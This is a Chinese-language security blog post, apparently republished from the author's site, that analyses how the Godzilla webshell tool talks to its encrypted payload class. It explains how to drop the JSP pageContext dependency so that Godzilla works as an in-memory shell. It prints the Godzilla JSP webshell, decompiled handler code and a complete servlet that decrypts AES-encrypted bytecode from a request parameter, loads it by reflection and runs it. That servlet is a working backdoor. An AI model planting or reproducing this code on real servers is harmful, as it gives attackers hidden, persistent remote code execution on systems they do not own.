作者:Y4er
原文鏈接:https://y4er.com/post/solve-the-problem-of-godzilla-memory-shell-pagecontext/

前言

注入內存馬借助當前的webshell工具而言,冰蝎可以通過創建hashmap放入request、response、session替換pagecontext來解決

HttpSession session = lastRequest.getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);

能這么寫的原因是因為冰蝎做了處理

1.png

會從傳入的obj中分別取到request、response、session。

而哥斯拉沒有這么做,如何破局?

哥斯拉連接分析

哥斯拉是基于動態加載class字節碼實現的webshell工具。

先看一下jsp的shell

<%! String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);

    class X extends ClassLoader {
        public X(ClassLoader z) {
            super(z);
        }

        public Class Q(byte[] cb) {
            return super.defineClass(cb, 0, cb.length);
        }
    }
....省略加密解密的函數....
%>
<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f=((Class)session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

先判斷session中payload是否為空,如果為空就用classloader加載解密之后的字節碼data。

如果不為空將data賦值到session的parameters參數,然后從session中拿到定義的payload類,創建實例再進行了兩次equals和一次tostring,兩次equals分別傳入ByteArrayOutputStream和pageContext。

通過bp代理看一下“測試連接”的過程

2.png

點完測試連接后bp多了兩個請求

3.png

再點success的確定按鈕后又多了一個請求。

一共三個請求,這三個請求分別干了什么?

為了調試,我們需要反編譯哥斯拉源碼找到godzilla\shells\payloads\java\assets\payload.classs文件,反編譯回來后在idea項目中創建一個payload類,將源碼粘貼進去。另外還需要關閉idea的自動tostring。

4.png

然后修改jsp讓其加載我們自己的payload.class而非從session中加載

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) Class.forName("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

payload類結構

payload類是哥斯拉的功能實現類,其中有多個函數比如文件操作、命令執行等功能實現

5.png

而入口在equals()函數

6.png

handle()是真正的邏輯,noLog是不記錄tomcat連接日志的函數。進入handle看下

public boolean handle(Object obj) {
    if (obj == null) {
        return false;
    } else {
        Class streamClazz = ByteArrayOutputStreamClazz;
        if (streamClazz == null) {
            try {
                streamClazz = Class.forName("java.io.ByteArrayOutputStream");
            } catch (ClassNotFoundException var7) {
                throw new NoClassDefFoundError(var7.getMessage());
            }

            ByteArrayOutputStreamClazz = streamClazz;
        }

        if (streamClazz.isAssignableFrom(obj.getClass())) {
            this.outputStream = (ByteArrayOutputStream) obj;
            return false;
        } else {
            if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
                this.servletRequest = obj;
            } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
                this.servletRequest = obj;
            } else {
                streamClazz = byteArrayClazz;
                if (streamClazz == null) {
                    try {
                        streamClazz = Class.forName("[B");
                    } catch (ClassNotFoundException var6) {
                        throw new NoClassDefFoundError(var6.getMessage());
                    }

                    byteArrayClazz = streamClazz;
                }

                if (streamClazz.isAssignableFrom(obj.getClass())) {
                    this.requestData = (byte[]) obj;
                } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
                    this.httpSession = obj;
                }
            }

            this.handlePayloadContext(obj);
            if (this.servletRequest != null && this.requestData == null) {
                Object var10001 = this.servletRequest;
                Class[] var10003 = new Class[1];
                Class var10006 = stringClazz;
                if (var10006 == null) {
                    try {
                        var10006 = Class.forName("java.lang.String");
                    } catch (ClassNotFoundException var5) {
                        throw new NoClassDefFoundError(var5.getMessage());
                    }

                    stringClazz = var10006;
                }

                var10003[0] = var10006;
                Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
                if (retVObject != null) {
                    streamClazz = byteArrayClazz;
                    if (streamClazz == null) {
                        try {
                            streamClazz = Class.forName("[B");
                        } catch (ClassNotFoundException var4) {
                            throw new NoClassDefFoundError(var4.getMessage());
                        }

                        byteArrayClazz = streamClazz;
                    }

                    if (streamClazz.isAssignableFrom(retVObject.getClass())) {
                        this.requestData = (byte[]) retVObject;
                    }
                }
            }
            return true;
        }
    }
}

分段來看,第一次equals的時候傳入的是ByteArrayOutputStream實例

7.png

將其賦值給this.outputStream,this.outputStream是輸出流,存儲了response內容。

第二段equals的是pagecontext

8.png

先填充request,然后判斷是否是session,如果是字節數組則說明是post參數 this.requestData = (byte[]) obj; 如果是HttpSession實例則放入this.httpSession

接著handlePayloadContext()填充request上下文和session

9.png

然后調用session.getAttribute("parameters")拿到requestData

10.png

第三段是toString

11.png

initSessionMap()初始化一個sessionMap放一些信息,然后formatParameter格式化參數map,然后this.run()

在formatParameter()函數中向參數map中放鍵值對

12.png

給他打印出來看一看,bp三個請求打印了兩個鍵值對

13.png

第一個請求是加載class字節碼的,然后第二個第三個請求時調用字節碼功能,通過methodName來調用。接著run()完之后寫輸出。

那么請求流程就到這里,接下來看如何解決

解決pagecontext

上文講到,requestData是post body,我們傳入pagecontext的目的是為了通過session拿到parameters,那么如果我們拋棄session,直接把parameters通過equals函數傳給payload類呢?

14.png

bp第一個請求是加載字節碼,我們通過defClass加載進去,然后第二個請求分為四個階段

  1. equals傳入ByteArrayOutputStream實例填充outputStream
  2. equals傳遞解碼之后的data填充requestData
  3. equals傳遞HttpServletRequest填充request
  4. toString寫response輸出結果

而在第二階段正是因為在payload#handle()中這段代碼的出現解決了pagecontext

15.png

完整代碼

package com.example.demo3;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    String xc = "3c6e0b8a9c15224a";
    String pass = "pass";
    String md5 = md5(pass + xc);
    Class payload;

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    public Class defClass(byte[] classBytes) throws Throwable {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defMethod.setAccessible(true);
        return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            byte[] data = base64Decode(req.getParameter(pass));
            data = x(data, false);
            if (payload == null) {
                payload = defClass(data);
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = payload.newInstance();
                f.equals(arrOut);
                f.equals(data);
                f.equals(req);
                resp.getWriter().write(md5.substring(0, 16));
                f.toString();
                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                resp.getWriter().write(md5.substring(16));
            }
        } catch (Throwable e) {
        }
    }
}

文末

其實完整代碼還是北辰發我的,我只是探究了一下其原因,這種pagecontext的問題還是得深入看工具的功能實現才能解決問題。

另外自己在寫冰蝎內存馬的時候遇到了包裝類的問題,而哥斯拉不存在這個問題。因為哥斯拉是通過參數傳遞的payload,而冰蝎是直接把字節碼放在了body中。

16.png

只能說哥斯拉yyds!

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1885/